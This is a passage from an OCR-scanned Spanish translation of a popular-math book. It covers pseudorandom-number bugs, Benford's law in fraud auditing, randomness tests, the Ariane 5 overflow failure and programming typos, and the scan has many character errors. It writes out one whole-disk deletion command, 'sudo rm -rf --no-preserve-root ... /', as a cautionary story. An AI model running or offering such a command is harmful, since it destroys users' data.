216 + 3) y, combinado con un mddulo que también era una potencia de dos (2.147.483.648 = 231),
todos los supuestos datos aleatorios acababan estando inquietantemente bien organizados.

Aunque el trabajo de Marsaglia tuvo que utilizar las convergencias en espacios matematicos
abstractos, el numero aleatorio de IBM se podia representar en un grafico como puntos
tridimensionales que encajan en solo quince planos. Eso es tan aleatorio como un cuchador
(tenedor-cuchara).

Obtener numeros pseudoaleatorios de calidad sigue siendo un problema. En 2016 el
navegador Chrome tuvo que arreglar su generador de nimeros pseudoaleatorios. Los navegadores
modernos son bastante buenos creando semillas para sus numeros pseudoaleatorios, pero, aunque
parezca increible, los propios generadores también pueden causar problemas. Chrome estaba
utilizando un algoritmo llamado MWCI1616, que estaba basado en una combinaciéon de
multiplicacion con llevada (las siglas MWC corresponden al nombre en inglés) y con
concatenacion para generar nimeros pseudoaleatorios. Pero, por error, se repetia a si mismo, una
y otra vez. Menudo aburrimiento.

Algunos programadores difundieron una extensiéon de Chrome que la gente se podia descargar
y utilizar. Para saber cuantas personas se la habian instalado, después de la instalacion se
generaba un nimero aleatorio como ID arbitrario de un usuario y lo mandaba de vuelta a la base
de datos de la compaiiia. Tenian un grafico en el despacho que mostraba un incremento notable de
las instalaciones de su extension hasta que, un dia, el nimero de nuevas instalaciones cayo a cero.
(Habia decidido todo el mundo dejar de utilizar su extension de repente? ;O habia algin error
fatal en su codigo que habia provocado que dejara de funcionar?



Este no es el aspecto que esperas que tengan los datos aleatorios.

No. Su extension estaba funcionando bien y la gente se la seguia instalando. Pero utilizaba el
lenguaje de programacion JavaScript y llamo a la funcion integrada Math.random() para obtener
un nuevo numero ID de usuario para cada nueva instalacion. Esto funcionaba bien para los
primeros millones de casos, pero, a partir de ahi en adelante, solo devolvia nimeros que ya se
habian utilizado. Esto significd que todos los nuevos usuarios parecian duplicados de aquellos que
ya existian en la base de datos.

Estos nimeros ID de usuario eran valores de 256 bits con posibilidades que se median en
cuatrivigintilliones (alrededor de 1077). No hay forma de que se repita tan rapidamente. Algo
estaba fallando, y el algoritmo MWCI1616 era el culpable. Los nimeros pseudoaleatorios habian
creado un bucle. No era el unico caso en el que los usuarios de Chrome habian tenido problemas
aleatorios y, por suerte, los desarrolladores responsables del motor de JavaScript arreglaron el
problema. En el Chrome de 2016 utilizaron un algoritmo llamado xorshift128+ que proporciona
nameros aleatorios mediante una cantidad disparatada de numeros crecientes elevados a la
potencia de otros niimeros.

Asi que, de momento, el mundo de los nimeros pseudoaleatorios estd tranquilo y los
navegadores estan proporcionandolos sin problemas. Pero eso no significa que este sea el final de
la historia. Un dia, xorshift128+ sera suplantado. Cualquier cosa que tenga que ver con la
capacidad informatica estd inmersa en una carrera armamentistica constante, al mismo tiempo que
los ordenadores cada vez mas potentes pueden crear nimeros mayores. Solo es cuestion de tiempo
antes de que nuestros algoritmos generadores de niimeros pseudoaleatorios ya no sirvan para lo
que fueron creados. Por suerte, por entones, una nueva generacion de cientificos informaticos nos
habra dado algo mejor. Necesitamos mas aleatoriedad en nuestras vidas.

Aleatoriamente equivocado

Cuando era profesor de matematicas de secundaria, uno de los deberes que mas me gustaba
proponer a los estudiantes era que se pasasen una tarde tirando una moneda al aire cien veces y
que anotaran los resultados. Regresaban a clase con una larga lista de caras y cruces. Yo cogia



luego esas listas y, al final de la leccidn, las separaba en dos montones: aquellos que habian
realizado la tarea tal como se lo pedi y habian tirado una moneda fisica, y aquellos que no se
molestaron y se limitaron a escribir una lista de caras y cruces inventadas.

La mayoria de los estudiantes tramposos recordaban que les tenian que salir
aproximadamente el mismo nimero de caras que de cruces, que es lo que se esperaria que pasase
con una moneda real y aleatoria, pero se olvidaron de las rachas mas largas. En una moneda
equilibrada, la cara y la cruz tienen ambas las mismas probabilidades de salir y, por lo tanto, los
lanzamientos son independientes, por lo que esos datos deberian ser uniformes. Esto quiere decir
que no solo todos los sucesos posibles ocurren con la frecuencia habitual, sino también las
combinaciones de sucesos. Ocho lanzamientos de una moneda seguidos produciran una secuencia
CXCCXCCC con la misma frecuencia que CXCXCXCC.

En el caso de mis estudiantes, se olvidaron de que CCCCCC es tan probable como cualquier
otra serie de seis lanzamientos. Y lanzando cien veces una moneda esperas que al menos exista
una serie de seis resultados iguales, si no mas de diez, seguidas. Escribir algo como
XXXXXXXXXX cuando estas falsificando los datos te hace sentir que lo estas haciendo mal,
pero es justo lo que esperariamos que sucediera. Del mismo modo que lo que esperariamos de
unos adolescentes es que hagan trampas con sus deberes.

Los adultos no son muy diferentes. Como dice el refran: solo hay tres cosas seguras en la
vida: la muerte, los impuestos y las personas que intentan engafiar a la hora de pagar sus
impuestos. Falsear la declaracion de impuestos puede requerir tener que idear algunos nimeros
aleatorios que parezcan auténticas transacciones financieras. Y en lugar de un profesor que
comprueba los deberes que han hecho sus alumnos, hay «auditores forenses» que analizan las
declaraciones de impuestos para encontrar signos reveladores de la existencia de datos falsos.

Si el fraude financiero no se hace con la suficiente aleatoriedad, es facil de detectar. Existe
una comprobacion financiera de los datos estdndar que implica mirar los primeros digitos de
todas las transacciones disponibles y ver si algunos son mas o menos frecuentes de lo esperado.
Las desviaciones de la frecuencia esperada no significan necesariamente que se esté produciendo
algo perverso, pero cuando hay demasiadas transacciones que se han de comprobar de forma
manual, las que son inusuales son un buen punto de partida. Los investigadores de un banco de
Estados Unidos analizaron los dos primeros digitos de los balances de todas las tarjetas de
crédito en los que el banco habia declarado la deuda como irrecuperable y existia un pico muy
notable en el 49. Se rastre6 y se vio que estaba asociado a un tnico empleado, que estaba dando
tarjetas de crédito a amigos y familiares que luego acumulaban una deuda de entre 4.900 y 4.999
dolares. El maximo que podia cancelar un empleado sin autorizacion era 5.000 ddlares.

Ni los propios auditores estan exentos. Una gran compaiiia auditora hizo una comprobacion
de los primeros dos digitos de todos los tiquetes de gastos presentados por sus empleados. En esta
ocasion habia muchos mas importes que empezaban por 48 de los que deberia haber. De nuevo el
responsable era un unico empleado. Los auditores que trabajaban para la empresa podian
presentar tiquetes de gastos cuando trabajaban fuera del despacho, pero una persona estaba
reclamando también, y de forma sistematica, su desayuno de camino a la oficina. Y siempre
compraba el mismo café y el mismo muffin con un coste de 4,82 dolares.



En estos casos, si la persona hubiera sido mas aleatoria y menos codiciosa, podria haberse
camuflado entre el resto de datos y no habria llamado la atencidn con sus transacciones. Pero tenia
que tratarse de la clase correcta de aleatoriedad. No todos los datos aleatorios se ajustan a una
distribucion uniforme como la que esperariamos de lanzar una moneda al aire. Un dado con cinco
nimeros iguales y una sola cara diferente sigue siendo aleatorio, pero los resultados no son
uniformes. Si escogemos dias al azar no obtendremos numeros iguales de dias laborables y dias
de la semana. Y si gritamos «jHey, Tom! Ha pasado mucho tiempo. ;Como estds?» a extrafios en
medio de la calle, no obtendremos respuestas uniformes (pero cuando, casualmente, nos dirijamos
a un Tom, habré valido la pena).

Y esté claro que los datos financieros no son uniformes. Hay un monton de datos financieros
que se ajustan a la ley de Benford, que dice que en algunos tipos de datos del mundo real los
primeros digitos no son igual de probables. Si los primeros digitos fueran uniformes, cada uno de
ellos apareceria el 11,1 %. Pero, en realidad, la probabilidad de empezar por, digamos, un 1,
depende del rango de nimeros que se utilizan. Imagine que esta midiendo en centimetros cosas que
llegan hasta los 2 metros: el 55,5 % de todos los nimeros del uno al doscientos empiezan con un
1. Imagine escoger una fecha al azar: el 36,1 % de todas las fechas tienen un dia del mes que
empieza por 1. Hacer promedios con distribuciones de tamafios diferentes significa que, en un
conjunto de datos apropiados y lo suficientemente grandes, alrededor del 30 % de los nimeros
empezara por 1, y asi hasta llegar al 9 que aparecera tan solo un 4,6 % de las veces.

Los datos del mundo real tienden a ser increiblemente parecidos a los de esta distribucion,
excepto cuando los numeros son inventados. En un ejemplo documentado, el propietario de un
restaurante estaba calculando las ventas diarias totales, evidentemente para reducir lo mas posible
los impuestos que tendria que pagar. Pero cuando se cred un grafico con los primeros digitos, eran
completamente diferentes a lo que predice la ley de Benford. E incluso si los primeros digitos de
los numeros se ajustaran a dicha ley, a menudo los ltimos digitos de los nimeros son aleatorios
de verdad y deberian seguir una distribucion uniforme. Todas las combinaciones de dos digitos
deberian aparecer el 1 % de las veces, pero el 6,6 % de las veces los totales diarios del
restaurante acababan en 40. No era una peculiaridad de sus precios: al parecer, al propietario le
gustaba el nimero 40. Como siempre, los humanos son malisimos a la hora de ser aleatorios. Y
resulta que los restaurantes no son muy buenos a la hora de «cocinar» las cuentas.
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Primeros digitos de las poblaciones de los 3.141 condados de Estados Unidos (en 2000).

La ley de Benford también se aplica cuando se analizan los dos primeros digitos de los
numeros, y esta es una de las cosas en las que se fijan los auditores forenses. Es dificil obtener
ejemplos del mundo real en los que se pueda detectar el fraude de impuestos, y todos los auditores
forenses que he conocido han rechazado ser nombrados o hablar de manera oficial. Mark Nigrini
es profesor adjunto en la escuela de negocios de la Universidad de Virginia Occidental y analizd
un conjunto de 157.518 declaraciones de los contribuyentes desde 1978 que la Agencia Tributaria
habia dado a conocer manteniendo el anonimato de las personas. Se fijo en los dos primeros
digitos de tres valores diferentes que la gente podia incluir en su declaracion de impuestos:
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Los ingresos por intereses son las cantidades que ingresan los ciudadanos en un afio y
proceden de sus cuentas bancarias; estan, tal como sefiald6 Nigrini, sujetas a «revision por
terceros». En otras palabras, la Agencia Tributaria puede comprobar si las personas estan
diciendo la verdad. Este grafico muestra una correlacion casi perfecta con la distribucion de 1a ley
de Benford:
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Para la Agencia Tributaria, no es tan facil comprobar la cantidad de dinero ganada gracias a
los dividendos, pero sigue estando sujeta a alguna revision «menos rigurosa» por una tercera
parte, y la distribucion en su conjunto se desvia solo ligeramente de la distribucién Benford. Por
lo que puede que haya cierto amafio. Hay picos grandes en 00 y 50 (y otros mas pequefios en otros
multiplos de 10), lo que implica que algunas personas estan haciendo una estimaciéon de sus
ingresos por dividendos en lugar de declararlos con exactitud.

En 1978 se confié en que la gente afiadiera todos los intereses pagados en las hipotecas,
tarjetas de crédito, etc., y que informaran de ello sin ninguna o muy poca comprobacion adicional.
Hay picos mas pequefios en 00 y 50, que demuestran que la gente es mas reticente a dar la
impresion de que han calculado estos valores. El grafico de la pagina siguiente también muestra la
divergencia mas grande de la distribucion Benford esperada.

Eso no significa necesariamente que se haya producido un fraude; simplemente implica que
algo ha influido en los datos. En este caso, una gran parte de la desviacion parece estar debida a
que las personas cuyos pagos de intereses son cantidades pequefias no se molestan en declararlos.
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No puedo asegurar qué andlisis de distribucion utilizan las agencias tributarias modernas,
pero estoy casi seguro de que hacen cosas como las que he explicado y luego examinan con mas
minuciosidad cualquier cosa que se desvie de lo esperado. Por lo que, si va a defraudar en lo que
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respecta a su declaracion de impuestos, necesita asegurarse de que puede generar los numeros
aleatorios correctos. Solo espero que la Agencia Tributaria del Reino Unido (Her Majesty’s
Revenue and Customs) no busque declaraciones de impuestos que encajen exactamente con la ley
de Benford (o que estén sospechosamente cerca) para localizar asi a matematicos que estén
falseando meticulosamente sus numeros...

éDe verdad es totalmente aleatorio?

Asi pues, resulta que la auténtica aleatoriedad es mas predecible de lo que espera la gente. E
incluso si los inspectores de hacienda saben como localizar datos aleatorios falsos, ;jpueden los
numeros pseudoaleatorios ser indistinguibles de los reales? Por suerte, si se hace cuidadosamente,
una secuencia pseudoaleatoria puede tener casi todas las propiedades que se supone que han de
tener los niimeros aleatorios.

Olvidese de las distribuciones graciosas. Como fuente de aleatoriedad, los nimeros
pseudoaleatorios deberian ser completamente uniformes e independientes. Es el insulso bloque
constituyente de la aleatoriedad, y los usuarios pueden condimentar esos numeros aleatorios en
cualquier distribucion a medida que necesiten.

Existen tan solo dos reglas de oro para los niumeros aleatorios:

* Todos los resultados son igual de probables.
* Ninglin suceso influye en el siguiente.
* Patata.

Cuando estaba comprobando los deberes de mis alumnos sobre aleatoriedad en busca de
tramposos utilicé tan solo dos pruebas: un test de frecuencia para asegurarme de que las caras y
las cruces aparecieron mas o menos el mismo nimero de veces y otro test sobre las series para
comprobar la aparicion de combinaciones mas largas de resultados. Pero esto es tan solo el punto
de partida. Hay multitud de formas de comprobar si los datos se ajustan a mis dos reglas de oro. Y
no existe una bateria de test definitiva que habria que utilizar; con los afios, las personas han
ideado toda clase de formas interesantes de comprobar cémo son los datos aleatorios, y ningiin
test funciona por si solo.

Mi favorito es un conjunto de pruebas conocido como «bateria Diehard». Por desgracia, esto
no implica tirar los nmimeros desde el Nakatomi Plaza o hacerlos reptar por un conducto de
ventilacion. Pero, segin mi experiencia, ayuda si durante el proceso gritas «jYippee ki-yay
funcion numérical». La bateria Diehard es, en realidad, una coleccion de doce pruebas
independientes.

Algunas de las pruebas son bastante aburridas, como comprobar las series crecientes y
decrecientes de digitos. Por lo tanto, para el nimero aleatorio de base 10, 0,5772156649, hay una
sucesion creciente 5-7-7 y luego otra decreciente 7-7-2-1. Estas series en direcciones diferentes
deberian tener un rango esperado de longitudes. También estd la prueba de la corriente de datos,
que convierte los nimeros en binarios y se fija en los grupos superpuestos de veinte digitos,



comprobando cudles de los 1.048.576 posibles nimeros binarios de veinte digitos estan en cada
bloque de 2.097.171 digitos. En unos datos binarios verdaderamente aleatorios deberian faltar
unos 141.909 de ellos (con una desviacion estandar de 428).

Y luego hay algunas pruebas que son divertidas. Utilizan los datos en una situacion extraia
para ver si funcionan como se esperaba. La prueba del aparcamiento utiliza la secuencia
supuestamente aleatoria para colocar coches redondos en un aparcamiento de cien por cien metros
cuadrados. Después de intentar aparcar 12.000 coches al azar, deberian haberse producido 3.523
choques (con una desviacion estandar de 21,9). Otra prueba coloca esferas de diferentes tamafios
dentro de un cubo, y la prueba consiste simplemente en hacer que los datos jueguen doscientos mil
juegos de dados y comprueben si los juegos ganadores siguen las distribuciones esperadas.

El exotismo y la rareza de estas pruebas forman parte de su atractivo. Los datos aleatorios
deberian ser igual de aleatorios en todas las situaciones. Si las pruebas de aleatoriedad fueran
predecibles, entonces los algoritmos de secuencias pseudoaleatorias se desarrollarian hasta
ajustarse a esas pruebas. Pero si se ha de comprobar una secuencia para ver qué puntuacién media
obtiene después de doscientas mil rondas jugando al juego Shaq Fu de la consola Sega Mega-
drive, entonces mas vale que sea realmente aleatoria.

Existe una definicion sobre aleatoriedad que sirve para todo pero que, aunque es demasiado
esotérica para ser util, me encanta por su simpleza. Una secuencia aleatoria es cualquier secuencia
que es igual o mas corta que cualquier descripcion de ella. La longitud de la descripcion de una
secuencia aleatoria recibe el nombre de complejidad Kolmogorov, en honor al matematico ruso
Andréi Kolmogorov, quien la planted en 1963. Si puedes escribir un programa informatico corto
para generar una secuencia de numeros, entonces esa secuencia no puede ser aleatoria. Si la tnica
forma de expresar una secuencia es imprimirla en su totalidad, entonces tenemos algo de
aleatoriedad entre las manos. Y muchas veces, imprimir nimeros aleatorios es la mejor opcion.

Pasemos a lo fisico

Antes de la era de la informatica, las listas de nimeros aleatorios se tenian que generar por
adelantado e imprimir en libros que la gente compraba. Digo «antes de la era de la informaticay,
pero cuando estaba en el colegio, durante la década de 1990, todavia utilizdbamos libros con
tablas de nimeros aleatorios. Las calculadoras portatiles y, de hecho, los ordenadores portatiles,
han llegado muy lejos. Pero, si hablamos de auténtica aleatoriedad, la pagina impresa es dificil de
batir.

Todavia se pueden comprar libros en internet de nimeros aleatorios. Si no lo ha hecho antes,
deberia leer las resefias en linea de los libros de nimeros aleatorios. Podemos intuir que la gente
no tiene mucho que decir sobre las listas de digitos aleatorios, pero este vacio posibilita que
aparezca la creatividad de la gente:

+ % % % por Mark Pack

No saltes a la tltima pagina y arruines el libro descubriendo el final. Asegirate de leerlo desde la
pagina 1 y la tension ira creciendo.
+ ¥ % por R. Rosini



Aunque la version impresa estd bien, me hubiera gustado que el editor también sacara la version en
audiolibro.

% % % % por Roy

Si te gusta este libro, te recomiendo que lo leas en binario original. Al igual que ocurre con muchas
traducciones, la conversion de binario a decimal suele acarrear una pérdida de informacion vy,
desafortunadamente, los digitos que se pierden en la conversion son los mas importantes.

+ ¥ % % por vangelion

Una historia de amor mejor que «Crepusculoy.

(Qué pasa si no tiene tiempo para comprar un libro y necesita imperiosamente un nimero
aleatorio? Bien, va a necesitar un objeto aleatorio. No hay ninguna accion fisica que sea superior
a lanzar una moneda o tirar un dado para obtener auténticos nimeros aleatorios, incluso en nuestra
era moderna y de tecnologia punta. Esa es la razon por la que siempre llevo conmigo algunos
dados, incluyendo un dado de sesenta lados por si necesito generar una semilla aleatoria para una
direccion de bitcoin (que utiliza nimeros de base 58).

En el despacho de Cloudflare en San Francisco, se utilizan lamparas de lava como
generadores fisicos de aleatoriedad. Volvemos a la seguridad de internet y a los SSL, pero en una
escala mucho mas grande que Netscape: Cloudflare maneja mas de 250 trillones de peticiones de
encriptacion por dia. Alrededor del 10 % de todo el trafico de internet depende de Cloudflare.
Esto significa que necesitan un montdn de nimeros aleatorios con calidad criptografica.

Para satisfacer esta demanda, tienen una camara que enfoca cien ldmparas de lava que hay en
su vestibulo. Toma una foto cada milisegundo y convierte el ruido aleatorio de la imagen en una
corriente de unos y ceros aleatorios. Las coloridas burbujas en movimiento de las lamparas de
lava también contribuyen al ruido, pero son realmente las infimas fluctuaciones en los valores de
los pixeles las que constituyen el corazon de la aleatoriedad. En su despacho de Londres se puede
ver un péndulo cadtico balanceandose y en Singapur utilizan una fuente radiactiva mucho menos
interesante visualmente.

Aunque no hay nada que pueda vencer a la eficacia de una moneda. Un amigo mio ingeniero
estaba trabajando en una torre delgada que iba a romper el récord de altura y descubrid que los
ingenieros no son lo suficientemente aleatorios. Uno de los aspectos a tener en cuenta con las
torres increiblemente delgadas es que el viento puede hacerla vibrar como una cuerda de guitarra
y, si el viento se corresponde con la frecuencia en la que resuena la torre, podria hacerla trizas.

A diferencia de la mayoria de las chorradas que llenan los vestibulos de las empresas de tecnologia, estas
lamparas de lava sirven para algo.



Para impedirlo, disefiaron parches amortiguadores de viento que se adosarian a la parte
exterior de la torre para interceptar el flujo de aire. Pero era muy importante que los colocasen
aleatoriamente. Si eran demasiado uniformes no romperian la corriente de aire lo suficiente.
(Como se asegurarian los ingenieros de que se colocaran de forma aleatoria? Para elegir qué
secciones tendrian paneles y cudles no, una persona del despacho lanzaria una moneda.
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En 1996, un grupo de cientificos e ingenieros estaba a punto de lanzar un grupo de cuatro satélites
con los que investigar la magnetosfera de la Tierra. Se pasaron una década planeando, disefiando,
probando y finalmente construyendo. Fue lento porque, una vez que una nave espacial se halla en
el espacio, es muy dificil realizar cualquier reparacion. No quieres cometer ningiin error. Todo se
ha de comprobar por triplicado.

En la conocida ahora como mision Cluster, los satélites finalizados se cargaron a bordo del
cohete de la Agencia Espacial Europea (ESA por sus siglas en inglés) Ariane 5 en junio de 1996,
preparados para ser lanzados y puestos en orbita desde el Centro Espacial Guayanés en
Sudamérica.

Nunca sabremos si esos satélites habrian funcionado como se esperaba, ya que a los cuarenta
segundos del despegue el Ariane activo su sistema de autodestruccion y explotd en el cielo. Partes
del cohete y de la carga de la nave espacial cayeron en una zona de 12 kilémetros cuadrados de
manglares y sabana de la Guayana Francesa.

Uno de los investigadores principales de la mision Cluster todavia trabaja en el Laboratorio
de Ciencia Espacial Mullard (dentro de la University College de Londres, UCL por sus siglas en
inglés), donde trabaja actualmente mi esposa. Después del desastre se recuperaron partes de la
nave y se enviaron de vuelta a la UCL, donde los investigadores abrieron el paquete enviado para
ver afios de trabajo convertidos en amasijos de metal con trozos del manglar todavia pegado a
ellos.

Metal retorcido y dispositivos electronicos que representan una década de duro trabajo.



Actualmente estan expuestos en la sala comin de los empleados como recordatorio para la
siguiente generacion de cientificos espaciales de que sus carreras se basan en ideas que pueden
desaparecer nada mas lanzarse al espacio.

Por suerte, la Agencia Espacial Europea decidio rehacer la mision Cluster e intentarlo de
nuevo. Los satélites del Cluster II fueron puestos exitosamente en Orbita el afio 2000 gracias a un
cohete ruso. Disefiados originalmente para durar dos afios en el espacio, llevan ya casi dos
décadas funcionando con éxito.

Asi pues, ;qué fue lo que fallo en el cohete Ariane 5? En pocas palabras, el ordenador de a
bordo intentd copiar un nimero de 64 bits en un espacio de 16 bits. Los informes en linea culpan
muy rapidamente a las matematicas, pero el codigo informatico debid de haberse escrito de tal
forma que provocd lo que ocurri6é. La programacién no es mas que pensamiento y procesos
matematicos formalizados. Queria saber cudl fue ese nimero, porque se tenia que copiar en una
localizacion de la memoria que era demasiado pequena y porque eso hizo caer todo un cohete...,
asi que me descargué y lei el informe de la investigacion emitido por la junta de investigacion de
la ESA.

El programador original (o equipo de programadores) de este codigo hizo un trabajo
brillante. Crearon un Sistema de Referencia Inercial (SRI por sus siglas en inglés) para que el
cohete siempre supiese exactamente donde estaba y qué estaba haciendo. Un SRI es, basicamente,
un intérprete entre los sensores que hacen un seguimiento del cohete y el ordenador que lo maneja.
El SRI se puede vincular a varios sensores colocados en diversas partes del cohete, tomar los
datos sin procesar procedentes de esos giroscopios y acelerometros y convertirlos en informacién
importante. El SRI también estaba vinculado al ordenador principal de a bordo y le transmitia
todos los detalles de la trayectoria que seguia el cohete y lo rapido que iba.

Durante este trabajo de «traduccidén», el SRI convertiria todas las clases de datos entre
formatos diferentes, que es el habitat natural de los errores matematicos informatizados. Los
programadores identificaron siete casos en los que un valor de coma flotante provenia de un
sensor y se convertia en un entero. Esta es exactamente la clase de situacion en la que un niimero
largo puede transmitirse accidentalmente en un espacio demasiado pequeio, lo que hace que el
programa se detenga por completo por un error de operando.

Para evitar esto, se anadi6 un bit de codigo extra que lee los valores entrantes y pregunta:
«jva a causar esto un error de operando si intentamos convertirlo?». El uso generalizado de este
proceso podria salvaguardar en buena medida contra errores de conversion. Pero hacer que el
programa pase una comprobacion extra cada vez que se ha de hacer una conversion supone un uso
intensivo del procesador, y al equipo le habian puesto limites estrictos sobre cuanta potencia del
procesador podia utilizar su codigo.

No importa, pensaron: daremos un paso atras y miraremos los sensores que estan enviando al
SRI los datos y veremos qué rango de valores pueden producir. Para tres de los siete
inconvenientes se descubrid que la entrada no podia ser nunca lo suficientemente grande como
para causar un error de operando, por lo que no se afiadi6é ninguna proteccion. Puede que las otras
cuatro variables si que fueran demasiado grandes, por lo que siempre pasaban por la
comprobacion de seguridad.



Todo eso funcioné de maravilla... para el cohete Ariane 4, el precursor del Ariane 5.
Después de anos prestando un leal servicio, se extrajo el SRI del Ariane 4 y se utilizo en el
Ariane 5 sin realizar una comprobacion apropiada del codigo. El Ariane 5 fue disefiado con una
trayectoria de despegue diferente a la del Ariane 4, lo que implicaba que las velocidades
horizontales eran superiores al inicio del lanzamiento. La trayectoria del Ariane 4 implicaba que
esta velocidad horizontal nunca seria lo suficientemente grande como para causar ningin
problema, por lo que no fue revisado. Pero en el Ariane 5 se excedia rapidamente el espacio
disponible para el valor dentro del SRI y el sistema produjo un error de operando. Pero eso no era
suficiente por si solo para hacer caer el cohete.

El SRI se habia programado para realizar algunas labores en el caso de que todo saliera mal
en el vuelo de un cohete y las cosas fueran a terminar claramente en desastre. Y mucho mas
importante, volcaba todos los datos sobre lo que estaba haciendo en un lugar diferente. Esto seria
fundamental en cualquier investigacion posterior a un desastre, por lo que valia la pena asegurarse
de que estaban a salvo. Es como alguien que utiliza su ultimo aliento para gritar: «jDecidle a mi
mujer que la quiero!», solo que seria un procesador gritando: «jContadle a mi depurador los
siguientes datos relacionados con el fallo!».

En el sistema del Ariane 4, los datos se mandarian del SRI a algin almacén externo.
Desafortunadamente, en la configuracion nueva del Ariane 5, este «informe del accidente» se
envio a través de la conexion principal desde el SRI al ordenador de a bordo. El nuevo ordenador
de a bordo del Ariane 5 nunca habia sido advertido de que podria recibir un informe de
diagnostico si el SRI se encontraba con esa situacion, por lo que supuso que se trataba de mas
informacion del vuelo e intentd leer los datos como si fueran angulos y velocidades. Es una
situacion bastante parecida a la del Pac-Man cuando sufria un error de desbordamiento e
intentaba interpretar los datos del juego como si fueran datos de las frutas. Excepto que ahora hay
explosivos implicados.

Habiendo asumido que el informe del error fue la informacion de navegacidn, la mejor
interpretacion a la que podia llegar el ordenador de a bordo era que el cohete vir6 repentina y
bruscamente hacia un lado. Por lo que hizo lo que seria lo mas 16gico en una situacion como esa, y
ejecuto el equivalente de un cohete de girar bruscamente en la direccidon opuesta. El vinculo entre
el ordenador de a bordo y los pistones que dirigian los propulsores funcionaba bien, por lo que se
sigui6 esta orden, haciendo, ir6nicamente, que el cohete se desviara abruptamente hacia un lado.

Eso fue suficiente para condenar al cohete Ariane 5. Habria caido mas pronto que tarde.
Pero, al final, la maniobra a alta velocidad separd parcialmente los cohetes propulsores del
cuerpo principal del cohete, lo que se considera, por lo general, algo bastante malo. Y el
ordenador de a bordo decidid correctamente dejarlo por hoy y poner en marcha el sistema de
autodestruccion, con lo que llovieron fragmentos de los cuatro satélites Cluster por todo el
manglar de alla abajo.

El ultimo agujero del queso es que el sensor de la velocidad horizontal ni siquiera fue
necesario durante el lanzamiento. Se utiliz0 para calibrar la posicion del cohete antes del
lanzamiento y no se recurri6 a ¢l durante el despegue. Excepto cuando los lanzamientos del Ariane
4 fueron abortados antes del despegue, era una auténtica pesadez resetear todo, una vez que los



sensores se habian apagado. Por lo que se decidié esperar unos cincuenta segundos en el vuelo
antes de apagarlos para asegurarse de que habia despegado definitivamente. Esto ya no era
necesario para el Ariane 5, pero seguia estando ahi, como codigo vestigial.

Por lo general, reutilizar codigo sin volverlo a comprobar puede provocar toda clase de
problemas. ;Recuerdan la maquina Therac-25 para la terapia de radiacion, que tenia un problema
de desbordamiento y que accidentalmente suministré una sobredosis a algunas personas? Durante
el transcurso de la investigacion posterior, se descubrid que su predecesor, el Therac-20, contenia
los mismos elementos en su software, pero que tenia unos bloqueos de seguridad fisicos para
evitar las sobredosis, por lo que nadie se percatd del error de programacién. El Therac-25
reutilizd coédigo, pero no realizd esas comprobaciones fisicas, por lo que el error de
desbordamiento pudo aparecer y causar un desastre.

Si se puede extraer alguna ensefianza moral de esta historia seria que, cuando escribes un
codigo, has de recordar que es posible que alguien tenga que analizarlo y comprobarlo en el futuro
cuando se plantee readaptarlo. Incluso podria ser usted, mucho después de haber olvidado cual
era la logica original subyacente al codigo. Por esta razon, los programadores pueden dejar
«comentarios» en sus codigos, que son pequeiios mensajes dejados para cualquiera que tenga que
leer su cddigo. El mantra del programador deberia ser «deja siempre comentarios en tu codigo».
Y que estos sean de ayuda. He revisado codigos densos que habia escrito hacia afios, y solo he
encontrado un comentario: «Buena suerte, futuro Matty.

Invasores del espacio

Programar es una gran combinacioén de complejidad y certeza absoluta. Cualquier linea de codigo
no puede ser ambigua: un ordenador hard exactamente lo que diga el codigo. Pero saber con
certeza cudl es el resultado final de un montoén de codigo que interactiia es bastante dificil, y esto
puede hacer que depurar codigo sea una experiencia emocional.

En la base estarian los que defino como errores de programacion del «nivel cero». Es donde
la propia linea de cddigo es un error. Algo que aparentemente no tiene consecuencia alguna como
es olvidarse de un punto y coma puede hacer que todo el programa se detenga. Los lenguajes
utilizan cosas como puntos y comas, paréntesis y saltos de linea para indicar los inicios y finales
de sentencias y para enloquecerte si te has dejado alguno. Muchos programadores se pasan horas
gritando a sus pantallas porque su codigo no funciona, solo para descubrir mas tarde que lo que le
faltaba era un detalle invisible.

Estos errores son el equivalente de las erratas en programacion. En 2006, un grupo de
bidlogos moleculares tuvo que retractarse de cinco articulos de investigacion, incluyendo alguno
publicado en Science y uno en Nature, debido a un error en su codigo. Habian escrito su propio
programa para analizar los datos sobre la estructura de moléculas bioldgicas. Sin embargo, estaba
cambiando accidentalmente algunos valores positivos en negativos, y viceversa, lo que significaba
que parte de la estructura que publicaron era la imagen especular de la disposicion correcta:

Este programa, que no formaba parte de un paquete de procesamiento de datos convencional, convertia
los pares anomalos (I+ e I-) a (F- y F+), introduciendo de esa manera un cambio de signo.
Retractacion de «Estructura de la MsbA de E. coli»



Una errata en una unica linea puede causar un enorme dafio. En 2014, un programador estaba
realizando tareas de mantenimiento en su servidor y queria borrar un antiguo directorio de copias
de seguridad que tenia un nombre parecido a: /docs/ mybackup/, pero tecle6 accidentalmente
/docs/mybackup / con un espacio extra. Lo del parrafo siguiente es el aspecto que debid de tener
toda la linea que teclearon en su ordenador. No puedo darle el énfasis que merece a lo siguiente:
no teclee nada ni remotamente parecido a esto en su ordenador, ya que podria borrar todo aquello
que le es querido:

sudo rm -rf --no-preserve-root /docs/mybackup /

sudo (del inglés super users do) = le dice al ordenador que soy un superusuario y que deberia hacer todo
lo que le pida sin cuestionarlo

rm = (del inglés remove) significa «borrar»

-rf = (del inglés recursive, force) fuerza a que el comando se ejecute recursivamente a lo largo de todo
un directorio

--no-preserve-root = nada es sagrado

Asi pues, ahora en lugar de borrar un directorio llamado /docs/mybackup /, iba a borrar dos:
ese y/. Lo divertido de / es que representa al directorio raiz del sistema informatico; el directorio
principal que contiene todas las demds carpetas: / es, basicamente, todo el ordenador. Hay varias
historias de rm -rf en internet sobre personas que han borrado todo el contenido de su ordenador
o0, en algunos casos, el contenido de todos los ordenadores de la empresa. Todo por una simple
errata.

También considero como errores de nivel cero algunos que no son realmente erratas, sino que
mas bien son producto de una mala traduccion. Un programador tiene en su cabeza los pasos que
quiere que siga su ordenador, pero necesita «traducirlos» en lenguaje de programacion que el
ordenador pueda comprender. Los errores en esa traduccion pueden dar lugar a una sentencia
incomprensible. Como ocurre en Inglaterra con un plato de la cocina de Sichuan que a veces
aparece traducido como «saliva chicken (pollo saliva)». Nadie va a pedir eso. El significado
original de «mouth-watering chicken» (pollo que te hace salivar) se ha perdido.

El concepto de «igual a» se puede traducir en lenguaje informatico como = o como ==. En
muchos lenguajes informaticos, = es un comando que hace que lo que aparece a ambos lados sea
equivalente, mientras que con == se cuestiona si las cosas de ambos lados son iguales. Algo como
cat_ name = Angus llamard a su gato Angus, pero cat_ name == Angus devolverd un True
